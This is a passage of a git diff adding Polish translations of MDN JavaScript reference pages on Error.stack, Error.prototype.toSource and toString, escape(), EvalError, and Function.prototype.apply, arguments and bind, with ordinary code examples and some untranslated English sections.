+    throw new Error('myError');
+  }
+  catch(e) {
+    alert(e.stack);
+  }
+}
+function b() {
+  trace();
+}
+function a() {
+  b(3, 4, '\n\n', undefined, {});
+}
+a('first call, firstarg');
+</script>
+
+ +

Zakładając, że powyższy dokument zapisany jest pod adresem C:\example.html w systemie plików Windows, kod utworzy okno typu alert z następującą treścią:

+ +

W przeglądarce Firefox 30 i późniejszych wersjach, wraz z numerem kolumny:

+ +
trace@file:///C:/example.html:9:17
+b@file:///C:/example.html:16:13
+a@file:///C:/example.html:19:13
+@file:///C:/example.html:21:9
+ +

Od Firefoxa 14 do Firefoxa 29:

+ +
trace@file:///C:/example.html:9
+b@file:///C:/example.html:16
+a@file:///C:/example.html:19
+@file:///C:/example.html:21
+ +

Firefox 13 i wcześniejsze zwróci zamiast tego następujący tekst:

+ +
Error("myError")@:0
+trace()@file:///C:/example.html:9
+b(3,4,"\n\n",(void 0),[object Object])@file:///C:/example.html:16
+a("first call, firstarg")@file:///C:/example.html:19
+@file:///C:/example.html:21
+ +

Stos ewaluowanego kodu

+ +

Od Firefoxa 30, stos błędu w wywołaniach Function() i eval() tworzy stos z bardziej szczegółową informacją o linii i kolumnie wewnątrz tych wywołań. Wywołania funkcji są wskazywane przez "> Function", a eval przez "> eval".

+ +
try {
+  new Function('throw new Error()')();
+} catch (e) {
+  console.log(e.stack);
+}
+
+// anonymous@file:///C:/example.html line 7 > Function:1:1
+// @file:///C:/example.html:7:6
+
+
+try {
+  eval("eval('FAIL')");
+} catch (x) {
+  console.log(x.stack);
+}
+
+// @file:///C:/example.html line 7 > eval line 1 > eval:1:1
+// @file:///C:/example.html line 7 > eval:1:1
+// @file:///C:/example.html:7:6
+
+ +

Możesz także użyć dyrektywy //# sourceURL do nazwania źródła eval. Zobacz też źródła Debug eval w dokumentacji Debuggera oraz w tym artykule.

+ +

Specyfikacje

+ +

Nie jest częścią żadnego standardu.

+ +

Wsparcie przeglądarek

+ +
+
+ + +

{{Compat("javascript.builtins.Error.stack")}}

+
+
+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/global_objects/error/tosource/index.html b/files/pl/web/javascript/reference/global_objects/error/tosource/index.html new file mode 100644 index 0000000000..f904d26f70 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/error/tosource/index.html @@ -0,0 +1,60 @@ +--- +title: Error.prototype.toSource() +slug: Web/JavaScript/Referencje/Obiekty/Error/toSource +tags: + - JavaScript + - Metodă + - Niestandardowy + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Error/toSource +--- +
{{JSRef}} {{non-standard_header}}
+ +

Metoda toSource() zwraca kod, który możemethod returns code that could eval to the same error.

+ +

Składnia

+ +
e.toSource()
+ +

Zwracana wartość

+ +

Łańcuch znaków (string) zawierający kod źródłowy błędu.

+ +

Przykłady

+ +

Użycie toSource

+ +

Wywołanie metody toSource instancji {{jsxref("Error")}} (w tym NativeErrors) zwróci łańcuch znaków zawierający kod źródłowy błędu. Zwrócony string może być ewaluowany do utworzenia (w przybliżeniu) takiego samego obiektu. Oczywiście ciąg znaków zawierający kod źródłowy jest zgodny ze strukturą konstruktora {{jsxref("Error")}}. Przykładowo:

+ +
(newname(message, nazwaPliku, numerLinii))
+
+ +

gdzie wymienione atrybuty odpowiadają właściwym własnościom instancji błędu.

+ +
+

Uwaga: należy pamiętać, że własności używanen przez metodę toSource podczas tworzenia tego ciągu znaków są modyfikowalne i mogą nie odzwierciedlać dokładnie funkcji użytej do stworzenia instancji błędu lub nazwy pliku czy numeru linii gdzie wystąpił dany błąd.

+
+ +

Specyfikacje

+ +

Nie należy do żadnego standardu.

+ +

Wsparcie przeglądarek

+ +
+
+ + +

{{Compat("javascript.builtins.Error.toSource")}}

+
+
+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/global_objects/error/tostring/index.html b/files/pl/web/javascript/reference/global_objects/error/tostring/index.html new file mode 100644 index 0000000000..6b019bc60b --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/error/tostring/index.html @@ -0,0 +1,98 @@ +--- +title: Error.prototype.toString() +slug: Web/JavaScript/Referencje/Obiekty/Error/toString +tags: + - JavaScript + - Metodă + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Error/toString +--- +
{{JSRef}}
+ +

Metoda toString() zwraca iąg znaków reprezentujący dany obiekt {{jsxref("Error")}}.

+ +

Składnia

+ +
e.toString()
+ +

Zwracana wartość

+ +

Ciąg znaków reprezentujący dany obiekt {{jsxref("Error")}}.

+ +

Opis

+ +

Obiekt {{jsxref("Error")}} nadpisuje metodę {{jsxref("Object.prototype.toString()")}} dziedziczoną przez wszystkie obiekty. Jego semantyka jest następująca (przy założeniu, że {{jsxref("Object")}} i {{jsxref("String")}} mają swoje oryginalne wartości):

+ +
Error.prototype.toString = function() {
+  'use strict';
+
+  var obj = Object(this);
+  if (obj !== this) {
+    throw new TypeError();
+  }
+
+  var name = this.name;
+  name = (name === undefined) ? 'Error' : String(name);
+
+  var msg = this.message;
+  msg = (msg === undefined) ? '' : String(msg);
+
+  if (name === '') {
+    return msg;
+  }
+  if (msg === '') {
+    return name;
+  }
+
+  return name + ': ' + msg;
+};
+
+ +

Przykłady

+ +

Użycie toString()

+ +
var e = new Error('fatal error');
+console.log(e.toString()); // 'Error: fatal error'
+
+e.name = undefined;
+console.log(e.toString()); // 'Error: fatal error'
+
+e.name = '';
+console.log(e.toString()); // 'fatal error'
+
+e.message = undefined;
+console.log(e.toString()); // ''
+
+e.name = 'hello';
+console.log(e.toString()); // 'hello'
+
+ +

Specyfikacje

+ + + + + + + + + + + + +
Specyfikacja
{{SpecName('ESDraft', '#sec-error.prototype.tostring', 'Error.prototype.toString')}}
+ +

Wsparcie przeglądarek

+ +
+ + +

{{Compat("javascript.builtins.Error.toString")}}

+
+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/global_objects/escape/index.html b/files/pl/web/javascript/reference/global_objects/escape/index.html new file mode 100644 index 0000000000..06d1d3d2c4 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/escape/index.html @@ -0,0 +1,120 @@ +--- +title: escape() +slug: Web/JavaScript/Referencje/Obiekty/escape +translation_of: Web/JavaScript/Reference/Global_Objects/escape +--- +
{{jsSidebar("Objects")}}
+ +

The deprecated escape() function computes a new string in which certain characters have been replaced by a hexadecimal escape sequence. Use {{jsxref("encodeURI")}} or {{jsxref("encodeURIComponent")}} instead.

+ +

Składnia

+ +
escape(str)
+ +

Parametry

+ +
+
str
+
A string to be encoded.
+
+ +

Description

+ +

The escape function is a property of the global object. Special characters are encoded with the exception of: @*_+-./

+ +

The hexadecimal form for characters, whose code unit value is 0xFF or less, is a two-digit escape sequence: %xx. For characters with a greater code unit, the four-digit format %uxxxx is used.

+ +

Przykłady

+ +
escape("abc123");     // "abc123"
+escape("äöü");        // "%E4%F6%FC"
+escape("ć");          // "%u0107"
+
+// znaki specjalne
+escape("@*_+-./");    // "@*_+-./"
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition.
{{SpecName('ES5.1', '#sec-B.2.1', 'escape')}}{{Spec2('ES5.1')}}Defined in the (informative) Compatibility Annex B
{{SpecName('ES6', '#sec-escape-string', 'escape')}}{{Spec2('ES6')}}Defined in the (normative) Annex B for Additional ECMAScript Features for Web Browsers
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

See also

+ + diff --git a/files/pl/web/javascript/reference/global_objects/evalerror/index.html b/files/pl/web/javascript/reference/global_objects/evalerror/index.html new file mode 100644 index 0000000000..6fd39a8789 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/evalerror/index.html @@ -0,0 +1,87 @@ +--- +title: EvalError +slug: Web/JavaScript/Referencje/Obiekty/EvalError +tags: + - EvalError + - JavaScript + - Klasa + - Obiekt + - Referencja +translation_of: Web/JavaScript/Reference/Global_Objects/EvalError +--- +
{{JSRef}}
+ +

Obiekt EvalError wskazuje na błąd dotyczący globalnej funkcji {{jsxref("Global_Objects/eval", "eval()")}}. Ten wyjątek nie jest już wywoływany przez JavaScript, jednak obiekt EvalError został zachowany ze względu na kompatybilność wsteczną.

+ +

Konstruktor

+ +
+
EvalError()
+
Tworzy nowy obiekt EvalError.
+
+ +

Własności instancji

+ +
+
{{jsxref("Error.prototype.message", "EvalError.prototype.message")}}
+
Treść błędu. Choć ECMA-262 określa, że {{jsxref("EvalError")}} powinien mieć swoją własną wartość message, w SpiderMonkey jest ona dziedziczona z {{jsxref("Error.prototype.message")}}.
+
{{jsxref("Error.prototype.name", "EvalError.prototype.name")}}
+
Nazwa błędu. Dziedziczone z {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.fileName", "EvalError.prototype.fileName")}}
+
Ścieżka do pliku, w którym został wywołany błąd. Dziedziczone z {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.lineNumber", "EvalError.prototype.lineNumber")}}
+
Numer linii w pliku, gdzie został wywołany błąd. Dziedziczone z {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.columnNumber", "EvalError.prototype.columnNumber")}}
+
Kolumna w linii, gdzie został wywołany błąd. Dziedziczone z {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.stack", "EvalError.prototype.stack")}}
+
Stos wywołań. Dziedziczone z {{jsxref("Error")}}.
+
+ +

Przykłady

+ +

EvalError nie jest używany w obecnej specyfikacji ECMAScript, zatem nie będzie wywoływany podczas wykonania programu – jednakże sam obiekt został zachowany ze względu na wsteczną kompatybilność z wcześniejszymi wersjami specyfikacji.

+ +

Tworzenie EvalError

+ +
try {
+  throw new EvalError('Hello', 'someFile.js', 10);
+} catch (e) {
+  console.log(e instanceof EvalError); // true
+  console.log(e.message);              // "Hello"
+  console.log(e.name);                 // "EvalError"
+  console.log(e.fileName);             // "someFile.js"
+  console.log(e.lineNumber);           // 10
+  console.log(e.columnNumber);         // 0
+  console.log(e.stack);                // "@Scratchpad/2:2:9\n"
+}
+
+ +

Specyfikacje

+ + + + + + + + + + +
Specyfikacja
{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-evalerror', 'EvalError')}}
+ +

Wsparcie przeglądarek

+ +
+
+ + +

{{Compat("javascript.builtins.EvalError")}}

+
+
+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/global_objects/function/apply/index.html b/files/pl/web/javascript/reference/global_objects/function/apply/index.html new file mode 100644 index 0000000000..411b47423a --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/function/apply/index.html @@ -0,0 +1,289 @@ +--- +title: Function.prototype.apply() +slug: Web/JavaScript/Referencje/Obiekty/Function/apply +translation_of: Web/JavaScript/Reference/Global_Objects/Function/apply +--- +
{{JSRef}}
+ +

Metoda apply() wywołuje daną funkcję podstawiając daną wartość this i argumenty przedstawione w postaci tablicy (lub obiektu tablicopodobnego (array-like object)).

+ +
+

Notka: Składnia tej funkcji jest niemal identyczna do {{jsxref("Function.call", "call()")}}, podstawową różnicą jest to, iż call() przyjmuje listę argumentów, podczas gdy apply() akceptuje pojedynczą tablicę argumentów.

+
+ +

Składnia

+ +
function.apply(thisArg, [argsArray])
+ +

Parametry

+ +
+
thisArg
+
Optional. The value of this provided for the call to func. Note that this may not be the actual value seen by the method: if the method is a function in {{jsxref("Strict_mode", "non-strict mode", "", 1)}} code, {{jsxref("null")}} and {{jsxref("undefined")}} will be replaced with the global object, and primitive values will be boxed.
+
argsArray
+
Optional. An array-like object, specifying the arguments with which fun should be called, or {{jsxref("null")}} or {{jsxref("undefined")}} if no arguments should be provided to the function. Starting with ECMAScript 5 these arguments can be a generic array-like object instead of an array. See below for {{anch("Browser_compatibility", "browser compatibility")}} information.
+
+ +

Zwracana wartość

+ +

Wynik wywoływanej funkcji z określoną wartością this i argumentami.

+ +

Opis

+ +

Można przypisać inny obiekt this podczas wywoływania istniejącej funkcji. this odnosi się do bieżącego obiektu, obiektu wywołującego. Z apply można napisać metodę raz, a następnie dziedziczyć w innym obiekcie, bez konieczności przepisywania metody dla nowego obiektu.

+ +

apply jest bardzo podobne do {{jsxref("Function.call", "call()")}}, z wyjątkiem typu danych argumentów, które wspiera. Można używać tablicy argumentów zamiast zestawu argumentów (parametrów). Z metodą apply, możesz używać tablic w sensie dosłownym, na przykład func.apply(this, ['eat', 'bananas']), lub obiektów typu {{jsxref("Array")}}, na przykład, func.apply(this, new Array('eat', 'bananas')).

+ +

Można używać również {{jsxref("Funkcje/arguments", "arguments")}} dla parametru argsArray. arguments jest zmienną lokalną dostępną wewnątrz każdej funkcji. Można to zastosować do wszystkich nieokreślonych argumentów wywoływanego obiektu. Tak więc nie trzeba znać argumentów wywoływanego obiektu przy użyciu metody apply Możesz użyć arguments, aby przekazać wszystkie argumenty do wywoływanego obiektu. Wywołany obiekt jest odpowiedzialny za obsługę otrzymanych argumentów.

+ +

Od ECMAScript 5th Edition możliwe jest również używanie wszelkiego rodzaju obiektów „tablicopodobnych” (array-like), co w praktyce oznacza, że obiekt taki musi mieć własność length i całkowite własności (indeksy) w zakresie (0..length-1). Przykładowo możesz użyć {{domxref("NodeList")}} lub własnego oiektu jak np. { 'length': 2, '0': 'eat', '1': 'bananas' }.

+ +
+

Większość przeglądarek, w tym Chrome 14 i Internet Explorer 9, w dalszym ciągu nie akceptuje obiektów tablicopodobnych i będzie wyrzucać wyjątek.

+
+ +

Przykłady

+ +

Użycie apply do dodania tablicy do innej tablicy

+ +

Możemy użyć metody push do dodania elementu do tablicy. I, jako że push przyjmuje zmienną liczbę argumentów, możemy również dodać wiele elementów naraz – ale jeśli faktycznie przekażemy tablicę do funkcji push, wówczas rzeczywiście doda ona tablicę jako pojedynczy element, zamiast dodać jej elementy, więc skończymy z tablicą wewnątrz tablicy. Co jeśli to nie jest to, co chcieliśmy osiągnąć? concat ma zachowanie takie, jakiego oczekiwalibyśmy w tym przypadku, jednak funkcja ta nie dodaje w rzeczywistości tablicy do istniejącej tablicy, ale tworzy i zwraca nową. Ale chcieliśmy zmodyfikować naszą istniejącą tablicę… Więc co teraz? Napisać pętlę? No chyba nie?

+ +

apply przychodzi na ratunek!

+ +
var array = ['a', 'b'];
+var elements = [0, 1, 2];
+array.push.apply(array, elements);
+console.info(array); // ["a", "b", 0, 1, 2]
+
+ +

 

+ +

Using apply and built-in functions

+ +

 

+ +

Clever usage of apply allows you to use built-ins functions for some tasks, that otherwise probably would have been written by looping over the array values. As an example here we are going to use Math.max/Math.min, to find out the maximum/minimum value in an array.

+ +
// min/max number in an array
+var numbers = [5, 6, 2, 3, 7];
+
+// using Math.min/Math.max apply
+var max = Math.max.apply(null, numbers);
+// This about equal to Math.max(numbers[0], ...)
+// or Math.max(5, 6, ...)
+
+var min = Math.min.apply(null, numbers);
+
+// vs. simple loop based algorithm
+max = -Infinity, min = +Infinity;
+
+for (var i = 0; i < numbers.length; i++) {
+  if (numbers[i] > max) {
+    max = numbers[i];
+  }
+  if (numbers[i] < min) {
+    min = numbers[i];
+  }
+}
+
+ +

But beware: in using apply this way, you run the risk of exceeding the JavaScript engine's argument length limit. The consequences of applying a function with too many arguments (think more than tens of thousands of arguments) vary across engines (JavaScriptCore has hard-coded argument limit of 65536), because the limit (indeed even the nature of any excessively-large-stack behavior) is unspecified. Some engines will throw an exception. More perniciously, others will arbitrarily limit the number of arguments actually passed to the applied function. To illustrate this latter case: if such an engine had a limit of four arguments (actual limits are of course significantly higher), it would be as if the arguments 5, 6, 2, 3 had been passed to apply in the examples above, rather than the full array.

+ +

If your value array might grow into the tens of thousands, use a hybrid strategy: apply your function to chunks of the array at a time:

+ +
function minOfArray(arr) {
+  var min = Infinity;
+  var QUANTUM = 32768;
+
+  for (var i = 0, len = arr.length; i < len; i += QUANTUM) {
+    var submin = Math.min.apply(null,
+                                arr.slice(i, Math.min(i+QUANTUM, len)));
+    min = Math.min(submin, min);
+  }
+
+  return min;
+}
+
+var min = minOfArray([5, 6, 2, 3, 7]);
+
+ +

 

+ +

Using apply to chain constructors

+ +

 

+ +

You can use apply to chain {{jsxref("Operators/new", "constructors", "", 1)}} for an object, similar to Java. In the following example we will create a global {{jsxref("Function")}} method called construct, which will enable you to use an array-like object with a constructor instead of an arguments list.

+ +
Function.prototype.construct = function(aArgs) {
+  var oNew = Object.create(this.prototype);
+  this.apply(oNew, aArgs);
+  return oNew;
+};
+
+ +
+

Note: The Object.create() method used above is relatively new. For alternative methods, please consider one of the following approaches:

+ +

Using {{jsxref("Object/__proto__", "Object.__proto__")}}:

+ +
Function.prototype.construct = function (aArgs) {
+  var oNew = {};
+  oNew.__proto__ = this.prototype;
+  this.apply(oNew, aArgs);
+  return oNew;
+};
+
+ +

Using closures:

+ +
Function.prototype.construct = function(aArgs) {
+  var fConstructor = this, fNewConstr = function() {
+    fConstructor.apply(this, aArgs);
+  };
+  fNewConstr.prototype = fConstructor.prototype;
+  return new fNewConstr();
+};
+ +

Using the {{jsxref("Function")}} constructor:

+ +
Function.prototype.construct = function (aArgs) {
+  var fNewConstr = new Function("");
+  fNewConstr.prototype = this.prototype;
+  var oNew = new fNewConstr();
+  this.apply(oNew, aArgs);
+  return oNew;
+};
+
+
+ +

Example usage:

+ +
function MyConstructor() {
+  for (var nProp = 0; nProp < arguments.length; nProp++) {
+    this['property' + nProp] = arguments[nProp];
+  }
+}
+
+var myArray = [4, 'Hello world!', false];
+var myInstance = MyConstructor.construct(myArray);
+
+console.log(myInstance.property1);                // logs 'Hello world!'
+console.log(myInstance instanceof MyConstructor); // logs 'true'
+console.log(myInstance.constructor);              // logs 'MyConstructor'
+
+ +
+

Note: This non-native Function.construct method will not work with some native constructors; like {{jsxref("Date")}}, for example. In these cases you have to use the {{jsxref("Function.prototype.bind")}} method. For example, imagine having an array like the following, to be used with {{jsxref("Global_Objects/Date", "Date")}} constructor: [2012, 11, 4]; in this case you have to write something like: new (Function.prototype.bind.apply(Date, [null].concat([2012, 11, 4])))(). This is not the best way to do things, and probably not to be used in any production environment.

+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES3')}}{{Spec2('ES3')}}Initial definition. Implemented in JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.3.4.3', 'Function.prototype.apply')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-function.prototype.apply', 'Function.prototype.apply')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-function.prototype.apply', 'Function.prototype.apply')}}{{Spec2('ESDraft')}} 
+ +

Zgodność z przeglądarkami

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
ES 5.1 generic array-like object as {{jsxref("Functions/arguments", "arguments")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
ES 5.1 generic array-like object as {{jsxref("Functions/arguments", "arguments")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("2.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/function/arguments/index.html b/files/pl/web/javascript/reference/global_objects/function/arguments/index.html new file mode 100644 index 0000000000..abbb63eef4 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/function/arguments/index.html @@ -0,0 +1,41 @@ +--- +title: Function.arguments +slug: Web/JavaScript/Referencje/Obiekty/Function/arguments +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Function/arguments +--- +

{{JSRef}}{{ Deprecated_header() }}

+ +

Podsumowanie

+ +

Obiekt tablicopodobny odpowiadający argumentom przekazywanym funkcji.

+ +

Opis

+ +

Należy użyć obiektu arguments dostępnego wewnątrz funkcji zamiast Function.arguments.

+ +

W przypadku rekurencji, tzn. jeśli funkcja f pojawia się kilkakrotnie na stosie wywołania, wartość of f.arguments reprezentuje argumenty odpowiadające ostatniemu wywołaniu funkcji.

+ +

Przykład

+ +
function f(n) { g(n-1) }
+
+function g(n) {
+  console.log("przed: " + g.arguments[0]);
+  if(n>0) { f(n); }
+  console.log("po: " + g.arguments[0]);
+}
+f(2);
+
+ +

wyświetli:

+ +
przed: 1
+przed: 0
+po: 0
+po: 1
+
diff --git a/files/pl/web/javascript/reference/global_objects/function/bind/index.html b/files/pl/web/javascript/reference/global_objects/function/bind/index.html new file mode 100644 index 0000000000..028db6b6d4 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/function/bind/index.html @@ -0,0 +1,332 @@ +--- +title: Function.prototype.bind() +slug: Web/JavaScript/Referencje/Obiekty/Function/bind +translation_of: Web/JavaScript/Reference/Global_Objects/Function/bind +--- +
{{JSRef}}
+Metoda bind() tworzy nową funkcję, której wywołanie powoduje ustawienie this na podaną wartość, z podaną sekwencją argumentów poprzedzającą dowolną podaną podczas wywołania nowej funkcji.
+ +
{{EmbedInteractiveExample („pages / js / function-bind.html”, „taller”)}}
+Źródło tego interaktywnego przykładu jest przechowywane w repozytorium GitHub. Jeśli chcesz przyczynić się do projektu interaktywnych przykładów, sklonuj https://github.com/mdn/interactive-examples i wyślij nam prośbę o pobranie.
+ +

Syntax

+ +
let boundFunc = func.bind(thisAtr[, arg1[, arg2[, ...argN]]])
+
+ +

Parametry

+ +
+
thisAtr
+
Wartość, która ma być przekazana jako this do funkcji docelowej func po wywołaniu funkcji powiązanej. Wartość jest ignorowana, jeśli funkcja powiązana jest konstruowana przy użyciu operatora {{jsxref („Operators / new”, „new”)}}. Podczas używania funkcji bind do utworzenia funkcji (dostarczonej jako wywołanie zwrotne) wewnątrz setTimeout, każda prymitywna wartość przekazywana, gdy thisAtr jest konwertowany na obiekt. Jeśli nie podano żadnych argumentów, aby powiązać (bind), lub jeśli thisArg jest null lub undefined, this z zakresu wykonania jest traktowany jako thisAtr dla nowej funkcji.
+
arg1, arg2, ...argN {{optional_inline}}
+
Argumenty poprzedzające argumenty dostarczone funkcji powiązanej podczas wywoływania func.
+
+ +

Zwracana wartość

+ +

Kopia podanej funkcji z podaną tą wartością i początkowymi argumentami (jeśli podano).

+ +

Opis

+ +

Funkcja bind() tworzy nową funkcję wiązania (bound function), która jest exotic function object (termin z ECMAScript 2015), który zawija oryginalny obiekt funkcji. Wywołanie funkcji powiązanej zazwyczaj skutkuje wykonaniem jej owrapowanej funkcji.

+ +

Funckja wiązania (bound function) ma następujące właściwości wewnętrzne:

+ +
+
[[BoundTargetFunction]]
+
The wrapped function object
+
[[BoundThis]]
+
The value that is always passed as this value when calling the wrapped function.
+
[[BoundArguments]]
+
A list of values whose elements are used as the first arguments to any call to the wrapped function.
+
[[Call]]
+
Executes code associated with this object. Invoked via a function call expression. The arguments to the internal method are a this value and a list containing the arguments passed to the function by a call expression.
+
+ +

When a bound function is called, it calls internal method [[Call]] on [[BoundTargetFunction]], with following arguments Call(boundThis, ...args). Where boundThis is [[BoundThis]], args is [[BoundArguments]], followed by the arguments passed by the function call.

+ +

A bound function may also be constructed using the {{jsxref("Operators/new", "new")}} operator. Doing so acts as though the target function had instead been constructed. The provided this value is ignored, while prepended arguments are provided to the emulated function.

+ +

Examples

+ +

Creating a bound function

+ +

The simplest use of bind() is to make a function that, no matter how it is called, is called with a particular this value.

+ +

A common mistake for new JavaScript programmers is to extract a method from an object, then to later call that function and expect it to use the original object as its this (e.g., by using the method in callback-based code).

+ +

Without special care, however, the original object is usually lost. Creating a bound function from the function, using the original object, neatly solves this problem:

+ +
this.x = 9;    // 'this' refers to global 'window' object here in a browser
+const module = {
+  x: 81,
+  getX: function() { return this.x; }
+};
+
+module.getX();
+//  returns 81
+
+const retrieveX = module.getX;
+retrieveX();
+//  returns 9; the function gets invoked at the global scope
+
+//  Create a new function with 'this' bound to module
+//  New programmers might confuse the
+//  global variable 'x' with module's property 'x'
+const boundGetX = retrieveX.bind(module);
+boundGetX();
+//  returns 81
+
+ +

Funkcje częściowo zastosowane
+ Kolejnym najprostszym zastosowaniem bind () jest utworzenie funkcji z wcześniej określonymi argumentami początkowymi.

+ +

Argumenty te (jeśli występują) są zgodne z podaną wartością, a następnie są wstawiane na początku argumentów przekazywanych do funkcji docelowej, a następnie wszelkie argumenty przekazywane funkcja powiązana w momencie jej wywołania.

+ +
function list() {
+  return Array.prototype.slice.call(arguments);
+}
+
+function addArguments(arg1, arg2) {
+  return arg1 + arg2
+}
+
+const list1 = list(1, 2, 3);
+//  [1, 2, 3]
+
+const result1 = addArguments(1, 2);
+//  3
+
+// Create a function with a preset leading argument
+const leadingThirtysevenList = list.bind(null, 37);
+
+// Create a function with a preset first argument.
+const addThirtySeven = addArguments.bind(null, 37);
+
+const list2 = leadingThirtysevenList();
+//  [37]
+
+const list3 = leadingThirtysevenList(1, 2, 3);
+//  [37, 1, 2, 3]
+
+const result2 = addThirtySeven(5);
+//  37 + 5 = 42
+
+const result3 = addThirtySeven(5, 10);
+//  37 + 5 = 42
+//  (the second argument is ignored)
+
+
+
+ +

With setTimeout()

+ +

By default within window.setTimeout(), the this keyword will be set to the window (or global) object. When working with class methods that require this to refer to class instances, you may explicitly bind this to the callback function, in order to maintain the instance.

+ +
function LateBloomer() {
+  this.petalCount = Math.floor(Math.random() * 12) + 1;
+}
+
+// Declare bloom after a delay of 1 second
+LateBloomer.prototype.bloom = function() {
+  window.setTimeout(this.declare.bind(this), 1000);
+};
+
+LateBloomer.prototype.declare = function() {
+  console.log(`I am a beautiful flower with ${this.petalCount} petals!`);
+};
+
+const flower = new LateBloomer();
+flower.bloom();
+//  after 1 second, calls 'flower.declare()'
+
+ +

Funkcje powiązane używane jako kostruktory

+ +
+

Ostrzeżenie: ta sekcja pokazuje możliwości JavaScript i dokumentuje niektóre przypadki krawędzi metody bind ().

+ +

Metody przedstawione poniżej nie są najlepszym sposobem na robienie rzeczy i prawdopodobnie nie powinny być stosowane w żadnym środowisku produkcyjnym.

+
+ +

Funkcje powiązane są automatycznie odpowiednie do użycia z operatorem {{jsxref („Operators / new”, „new”)}} do tworzenia nowych instancji utworzonych przez funkcję docelową. Gdy do utworzenia wartości używana jest funkcja powiązana, pod warunkiem, że jest to ignorowane.

+ +

Jednak pod warunkiem, że argumenty są nadal dołączane do wywołania konstruktora:

+ +
function Point(x, y) {
+  this.x = x;
+  this.y = y;
+}
+
+Point.prototype.toString = function() {
+  return `${this.x},${this.y}`;
+};
+
+const p = new Point(1, 2);
+p.toString();
+// '1,2'
+
+
+//  not supported in the polyfill below,
+
+//  works fine with native bind:
+
+const YAxisPoint = Point.bind(null, 0/*x*/);
+
+
+const emptyObj = {};
+const YAxisPoint = Point.bind(emptyObj, 0/*x*/);
+
+const axisPoint = new YAxisPoint(5);
+axisPoint.toString();                    // '0,5'
+
+axisPoint instanceof Point;              // true
+axisPoint instanceof YAxisPoint;         // true
+new YAxisPoint(17, 42) instanceof Point; // true
+
+ +

Zauważ, że nie musisz robić nic specjalnego, aby utworzyć powiązaną funkcję do użycia z {{jsxref („Operators / new”, „new”)}}.

+ +

Następstwem jest to, że nie musisz robić nic specjalnego, aby utworzyć funkcję powiązaną, która będzie wywoływana w sposób jawny, nawet jeśli wolisz, aby funkcja powiązana była wywoływana tylko za pomocą {{jsxref („Operators / new”, „new”)}} .

+ +
//  Example can be run directly in your JavaScript console
+//  ...continued from above
+
+//  Can still be called as a normal function
+//  (although usually this is undesired)
+YAxisPoint(13);
+
+`${emptyObj.x},${emptyObj.y}`;
+// >  '0,13'
+
+ +

If you wish to support the use of a bound function only using {{jsxref("Operators/new", "new")}}, or only by calling it, the target function must enforce that restriction.

+ +

Tworzenie skrótów

+ +

bind () jest również pomocny w przypadkach, w których chcesz utworzyć skrót do funkcji, która wymaga podania tej wartości.

+ +

Weźmy na przykład {{jsxref ("Array.prototype.slice ()")}}, którego chcesz użyć do konwersji obiektu podobnego do tablicy na prawdziwą tablicę. Możesz utworzyć taki skrót:

+ +
const slice = Array.prototype.slice;
+
+// ...
+
+slice.apply(arguments);
+
+ +

Za pomocą bind () można to uprościć.

+ +

W poniższym fragmencie kodu slice () jest funkcją powiązaną z funkcją {{jsxref („Function.prototype.apply ()”, „Apply ()”)}} z {{jsxref („Function.prototype”) }}, z tą wartością ustawioną na {{jsxref („Array.prototype.slice ()”, „slice ()”)}} funkcji {{jsxref („Array.prototype”)}}. Oznacza to, że dodatkowe wywołania apply () można wyeliminować:

+ +
//  same as "slice" in the previous example
